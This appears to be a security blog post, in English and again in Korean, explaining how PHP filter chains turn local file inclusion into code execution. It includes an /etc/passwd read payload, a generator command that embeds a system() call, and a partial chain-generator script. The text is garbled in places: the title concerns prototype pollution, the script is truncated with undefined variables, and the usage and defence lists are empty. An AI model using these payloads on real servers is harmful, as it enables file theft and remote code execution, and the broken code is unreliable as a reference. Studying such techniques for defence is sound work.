Prototype Pollution: Poisoning JavaScript's Object Chain
How Prototype Pollution corrupts JavaScript's prototype chain and how to defend against it
PHP Filter Chain is a powerful exploitation technique that can be used in Local File Inclusion (LFI) vulnerabilities to achieve code execution. This post explains how PHP wrappers and filter chains work, and how they can be used to bypass security restrictions.
PHP Filter Gadget Chain is an attack technique that uses encoding and decoding repetitively to inject attacker code when a server is vulnerable to LFI through include() functions. While LFI vulnerabilities themselves may have limited impact, this technique becomes particularly useful when extension validation is implemented.
Key characteristics:
PHP wrappers become useful when applications attempt to restrict LFI by appending file extensions. For example, consider the following vulnerable code:
<?php
$file = $_GET['file_name'];
include('file_name'+'.php');
?>
In older PHP versions, null byte attacks could bypass such restrictions, but as PHP evolved, these techniques became ineffective. This is where PHP wrappers come into play:
php://filter/convert.base64-encode/resource=/etc/passwd
When used with LFI, this wrapper doesn’t render the PHP file. Instead, it encodes the actual source code in base64 and returns it, allowing attackers to view the raw PHP code.
The convert.iconv wrapper in PHP provides a way to convert between character encodings. If the iconv extension is enabled on the server, attackers can access content through the php://convert.iconv.*.* wrapper:
convert.iconv.<input-encoding>.<output-encoding>
convert.iconv.<input-encoding>/<output-encoding>
For example, to convert a file from UTF-8 to ISO-8859-1:
$file = file_get_contents('php://convert.iconv.UTF-8/ISO-8859-1/resource=file.txt');
The base64-decode filter has certain quirks when handling padding with = characters, often mishandling them. This behavior can be exploited as part of a chain.
Some encodings add a Byte Order Mark (BOM) at the beginning of encoded results to indicate byte ordering for the system. Interestingly, if you add @_> to a string, the base64-decode filter recognizes this as a BOM and ignores it during decoding:
$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64
Through repeated encoding and decoding, “garbage” BOMs accumulate in front of the data. By repeating this process strategically, attackers can construct desired data payloads.
This complex process can be automated using the PHP Filter Chain Generator tool:
python3 php_filter_chain_generator.py --chain '<?php system("find /readflag -name readflag -exec cat {} \\; 2>&1"); ?> '
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...
Here’s another implementation of the filter chain generator:
#!/usr/bin/env python3
import argparse
import base64
import re
# Conversions dictionary for different character mappings
conversions = {
'0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
# ... [dictionary entries continue]
}
def generate_filter_chain(chain, debug_base64 = False):
encoded_chain = chain
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs
filters += "convert.iconv.UTF8.UTF7|"
for c in encoded_chain[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
if not debug_base64:
# don't add the decode while debugging chains
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
return final_payload
# Main function and CLI handling code...
To use this technique:
This technique demonstrates why proper input validation and secure coding practices are essential. To protect against PHP Filter Chain attacks:
LFI(Local File Inclusion) 취약점을 발견했는데 파일을 읽는 것 말고는 별로 할 게 없어 보일 때가 있죠. PHP Filter Chain은 바로 그 밋밋해 보이는 LFI를 코드 실행까지 끌어올리는 강력한 기법입니다. 이 글에서는 PHP 래퍼(wrapper)와 필터 체인이 어떻게 동작하는지, 그리고 이걸 어떻게 보안 제약 우회에 써먹는지 하나씩 살펴보겠습니다.
PHP Filter Gadget Chain은 서버가 include() 함수를 통한 LFI에 취약할 때, 인코딩과 디코딩을 반복해서 공격자의 코드를 밀어 넣는 기법입니다. LFI 자체는 파급력이 제한적일 수 있지만, 확장자 검증이 걸려 있는 상황에서는 이 기법이 특히 빛을 발하는데요.
핵심만 짚으면 이렇습니다.
PHP 래퍼는 애플리케이션이 파일 확장자를 덧붙여 LFI를 막으려 할 때 진가를 발휘합니다. 예를 들어 다음 같은 취약한 코드를 볼게요.
<?php
$file = $_GET['file_name'];
include('file_name'+'.php');
?>
예전 PHP에서는 널 바이트 공격으로 이런 제약을 넘을 수 있었지만, PHP가 발전하면서 그 수법은 이제 통하지 않습니다. 바로 이 지점에서 PHP 래퍼가 등장하죠.
php://filter/convert.base64-encode/resource=/etc/passwd
LFI와 함께 쓰면 이 래퍼는 PHP 파일을 실행(렌더링)하지 않습니다. 대신 실제 소스 코드를 base64로 인코딩해서 돌려주죠. 덕분에 공격자는 원본 PHP 코드를 그대로 들여다볼 수 있게 됩니다.
PHP의 convert.iconv 래퍼는 문자 인코딩을 서로 변환해 주는 도구입니다. 서버에 iconv 확장이 켜져 있으면, 공격자는 php://convert.iconv.*.* 래퍼로 콘텐츠에 접근할 수 있는데요.
convert.iconv.<input-encoding>.<output-encoding>
convert.iconv.<input-encoding>/<output-encoding>
예를 들어 파일을 UTF-8에서 ISO-8859-1로 변환하려면 이렇게 씁니다.
$file = file_get_contents('php://convert.iconv.UTF-8/ISO-8859-1/resource=file.txt');
base64-decode 필터는 = 문자로 된 패딩을 다룰 때 좀 이상하게 굴어서, 종종 이를 잘못 처리합니다. 그리고 바로 이 어긋난 동작을 체인의 한 조각으로 악용할 수 있죠.
일부 인코딩은 시스템에 바이트 순서를 알려 주려고 인코딩 결과 앞에 BOM(Byte Order Mark)을 붙입니다. 재미있게도 문자열 앞에 @_>를 붙이면, base64-decode 필터가 이걸 BOM으로 착각해서 디코딩할 때 그냥 무시해 버리는데요.
$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64
이렇게 인코딩과 디코딩을 반복하다 보면 데이터 앞에 “쓰레기” BOM이 차곡차곡 쌓입니다. 이 과정을 전략적으로 되풀이하면, 공격자는 자기가 원하는 데이터 페이로드를 한 글자씩 빚어낼 수 있는 거예요.
이 복잡한 과정은 PHP Filter Chain Generator 도구로 손쉽게 자동화할 수 있습니다.
python3 php_filter_chain_generator.py --chain '<?php system("find /readflag -name readflag -exec cat {} \\; 2>&1"); ?> '
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...
필터 체인 생성기를 다르게 구현한 버전도 한번 볼게요.
#!/usr/bin/env python3
import argparse
import base64
import re
# 문자 매핑을 위한 변환 딕셔너리
conversions = {
'0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
# ... [딕셔너리 항목 계속]
}
def generate_filter_chain(chain, debug_base64 = False):
encoded_chain = chain
# 쓰레기 base64를 만들어낸다
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# 등호(=)를 반드시 제거한다
filters += "convert.iconv.UTF8.UTF7|"
for c in encoded_chain[::-1]:
filters += conversions[c] + "|"
# 유효한 base64가 아닌 것을 모두 제거하기 위해 디코드 후 재인코드
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# 등호 제거
filters += "convert.iconv.UTF8.UTF7|"
if not debug_base64:
# 체인 디버깅 중에는 디코드를 추가하지 않는다
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
return final_payload
# 메인 함수 및 CLI 처리 코드...
실제로 이 기법을 쓰는 흐름은 이렇습니다.
이 기법은 적절한 입력 검증과 안전한 코딩 습관이 왜 필수인지를 아주 잘 보여줍니다. PHP Filter Chain 공격을 막으려면 이렇게 하세요.